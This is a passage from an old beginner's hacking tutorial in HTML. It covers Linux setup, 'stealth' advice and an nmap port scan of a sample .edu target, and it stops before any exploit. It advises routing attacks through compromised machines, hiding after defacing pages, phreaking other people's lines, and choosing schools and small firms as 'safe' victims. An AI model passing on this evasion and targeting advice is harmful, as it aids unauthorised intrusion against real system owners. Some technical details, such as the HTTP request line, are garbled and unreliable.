&lt;div class="Preformatted"&gt;
&amp;nbsp;- BSD&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; These are older and difficult to use. The
most secure OS (openBSD) is in this group.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; You don't want them unless you're planning to
install a server on them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;- Linux&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; Easy to use, stable, secure, and optimized
for your kind of box. that's what we need.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
strongly suggest you to get the SuSE distribution of Linux.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;It's the best one as i think, and i added here
some tips for SuSE, so all should be easier.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Visit
www.suse.de and look for a local store or order it online.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;(i know i said it the software was free, but
not the CDs nor the manual nor the support.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; It is much cheaper than windoze anyway, and
you are allowed to copy and distribute it)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you own an intel box, then order the PC version.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you own a mac box, then order the PowerPC version.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Whatever
you do, DON'T PICK THE COREL DISTRIBUTION, it sucks.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It's
possible you have problem with your hardware on the installation. Read the
manual, ask&lt;/div&gt;
&lt;div class="Preformatted"&gt;
for
technical support or buy new hardware, just install it as you can.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
is really important! READ THE MANUAL, or even buy a UNIX book.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Books
about TCP/IP and C programming are also useful.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you don't, you won't understand some things i'll explain later. And, of course,
you'll&lt;/div&gt;
&lt;div class="Preformatted"&gt;
never
become a hacker if you don't read a lot of that 'literature'.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the
Internet&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Yes!
you wanted to hack, didn't you? do you want to hack your own box or what?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
want to hack internet boxes! So lets connect to the internet.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Yes,
i know you've gotten this document from the internet, but that was with windoze&lt;/div&gt;
&lt;div class="Preformatted"&gt;
and
it was much easier. Now you're another person, someone who screams for
knowledge and wisdom.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You're
a Linux user, and you gotta open your way to the Internet.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
gotta make your Linux box to connect to the net,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
so
go and set up your modem (using YaST2 in SuSE).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Common
problems:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
your box doesn't detect any modems, that probably means that you have no modem
installed&lt;/div&gt;
&lt;div class="Preformatted"&gt;
:-D
(not a joke!).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Most
PCI modems are NOT modems, but "winmodems". Winmodems, like all
winhardware, are&lt;/div&gt;
&lt;div class="Preformatted"&gt;
specifically
designed to work ONLY on windoze. Don't blame linux, this happens because the &lt;/div&gt;
&lt;div class="Preformatted"&gt;
winmodem
has not a critical chip that makes it work. It works on windoze cause the
vendor&lt;/div&gt;
&lt;div class="Preformatted"&gt;
driver
emulates that missing chip. And hat vendor driver is only available for
windoze.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
ISA
and external modems are more probably real modems, but not all of them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you want to make sure wether a modem is or not a winmodem, visit &lt;a href="http://start.at/modem"&gt;http://start.at/modem&lt;/a&gt;.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
use your modem to connect to your ISP and you're on the net. (on SuSE, with
wvdial)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
NOTE:
Those strange and abnormal online services like aol are NOT ISPs. You cannot
connect the&lt;/div&gt;
&lt;div class="Preformatted"&gt;
internet
with aol. You can't hack with aol. i don't like aol. aol sucks.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Don't
worry, we humans are not perfect, and it's probably not your fault. If that is
your case,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
leave
aol and get a real ISP. Then you'll be forgiven.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Don't get
busted&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Let's&amp;nbsp; suppose you haven't skipped everything below
and your Linux bow is now connected to the net.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It's
now turn for the STEALTH. You won't get busted! just follow my advices and
you'll be safe.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
Don't hack&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; this is the most effective stealth technique.
not even the FBI can bust you. :-)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; If you choose this option, stop reading now,
cause the rest is worthless and futile.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
If you change a webpage, DON'T SIGN! not even with a fake name. they can trace
you, find&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; your own website oe email address, find your
ISP, your phone number, your home...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; and you get busted!!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
be PARANOID, don't talk about hacking to anyone unless he is really interested
in hacking too.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; NEVER tell others you've hacked a box.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
NEVER hack directly from your box (your_box --&amp;gt; victim's box).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; Always use a third box in the middle
(your_box --&amp;gt; lame_box --&amp;gt; victim's box).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; Where lame_box is a previously hacked box
or...a shell account box!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; A shell account is a service where you get
control of a box WITHOUT hacking it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; There are a few places where shell accounts
are given for free. One of them is nether.net.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
Don't hack dangerous boxes until you're a real hacker.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp; Which
boxes are dangerous:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Military boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Government boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Important and powerful companies' boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Security companies' boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp; Which boxes are NOT dangerous:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Educational boxes (any .edu domain)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Little companies' boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Japanese boxes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
Always connect to the internet through a free and anonymous ISP&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; (did i tell you that AOL is NOT an ISP?)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-
Use phreking techniques to redirect calls and use others' lines for your ISP
call.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp; Then it'll be really difficult to trace you.
This is not a guide to phreaking anyway.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TCP ports and
scanning&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Do
you got your stealth linux box connected to the internet (not aol)?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Have
you read the manual as i told you?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
we shall start with the damn real thing.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
First
of all, you should know some things about the internet. It's based on the
TPC/IP protocol,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
(and
others)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
It
works like this: every box has 65k connection PORTS. some of them are opened and
waiting for&lt;/div&gt;
&lt;div class="Preformatted"&gt;
your
data to be sent.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So
you can open a connection and send data to any these ports. Those ports are
associated with&lt;/div&gt;
&lt;div class="Preformatted"&gt;
a
service:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Every
service is hosted by a DAEMON. Commonly, a daemon or a server is a program that
runs&lt;/div&gt;
&lt;div class="Preformatted"&gt;
on
the box, opens its port and offers their damn service.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
here
are some common ports and their usual services (there are a lot more):&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Port number&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Common service&amp;nbsp; Example
daemon (d stands for daemon)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FTP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FTPd&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Telnet&amp;nbsp; telnetd&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SMTP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sendmail
(yes!)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HTTP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; apache&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 110&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; POP3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; qpop&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Example:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
when
you visit the website &lt;a href="http://www.host.com/luser/index.html"&gt;http://www.host.com/luser/index.html&lt;/a&gt;,
your browser does this:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-it
connects to the TCP port 80&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-it
sends the string: "GET /HTTP/1.1 /luser/index.html" plus two 'intro'&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (it really sends a lot of things more,
but that is the essential)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-the
host sends the html file&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
cool thing of daemons is they have really serious security bugs.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
That's
why we want to know what daemons are running there, so...&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We
need to know what ports are opened in the box we want to hack.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
How
could we get that information?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
We
gotta use a scanner. A scanner is a program that tries to&lt;/div&gt;
&lt;div class="Preformatted"&gt;
connect
to every port on the box and tells which of them are opened.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
best scanner i can think of is nmap, created by Fyodor.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
can get nmap from my site in tarball or rpm format.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Let's
install nmap from an .rpm packet.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ rpm -i nmap-2.53-1.i386.rpm&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
then
we run it:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bash-2.03$ nmap -sS target.edu&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Starting nmap V. 2.53 by
fyodor@insecure.org ( www.insecure.org/nmap/ )&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interesting ports on target.edu
(xx.xx.xx.xx):&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (The 1518 ports scanned but not shown
below are in state: closed)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; State&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Service&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
ftp&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 23/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;telnet&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
smtp&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
http&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 110/tcp&amp;nbsp;&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
pop3&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Nmap run completed -- 1 IP address (1
host up) scanned in 34 seconds&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Nmap
has told us which ports are opened on target.edu and thus, what services it's offering.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
know, i said telnet is a service but is also a program (don't let this confuse
you).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
program can open a TCP connection to the port you specify.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
So
lets see what's on that ports.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
On
your linux console, type:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
